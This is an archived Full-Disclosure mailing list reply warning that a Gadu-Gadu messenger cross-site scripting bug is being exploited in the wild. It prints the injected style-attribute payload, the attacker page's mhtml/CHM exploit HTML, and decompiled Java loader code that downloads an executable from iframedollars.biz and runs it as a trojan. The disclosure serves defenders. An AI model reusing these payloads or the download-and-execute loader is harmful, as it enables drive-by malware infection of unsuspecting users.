full-disclosure - Re: Gadu-Gadu, another two bugs

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <41C709E5.4020904@freebsd.lublin.pl>
From: venglin at freebsd.lublin.pl (Przemyslaw Frasunek)
Subject: Re: Gadu-Gadu, another two bugs

Jaroslaw Sajko wrote:
> Send such a string to any receipent:
> www.po"style=background-image:url(javascript:document.write('%3cscript%3ealert%28%22you%20are%20owned!%22%29%3c%2fscript%3e'));".pl

Beware, this bug is being already exploited in the wild. I have just received 
the following message from WWW to GG gateway (gg# 7021349):

www.po"style=background-image:url(javascript:window.open('http://iframedollars.biz/dl/adv407.php','','left=10000'));".pl

The adv407.php file contains the following HTML code:

[html][head]
[/head][body]
[textarea id="cxw" style="display:none;"]
     [object data="${PR}" type="text/x-scriptlet"][/object]
[/textarea]

[script language="javascript"]
document.write(cxw.value.replace(/\${PR}/g,'&#109;s-its:mhtml:file://c:\\nosuch.mht!http://iframedollars.biz/dl/adv407/x.chm::/x.htm'));
[/script]
[applet width=1 height=1 ARCHIVE=loaderadv407.jar 
code=Counter][/APPLET][/body][/html]

After downloading and decompiling loaderadv407.jar I noticed, that it does:

URL url1 = new URL("http://iframedollars.biz/dl/loadadv407.exe");
URLConnection urlconnection = url1.openConnection();
[...]
FileOutputStream fileoutputstream = new FileOutputStream(s4 + "\\loadnew.exe");
[...]
as[0] = s4 + "\\loadnew.exe";
Process process = Runtime.getRuntime().exec(as);

Clamav recognizes this binary as Trojan.Qhost.O.

-- 
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: venglin@...ber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *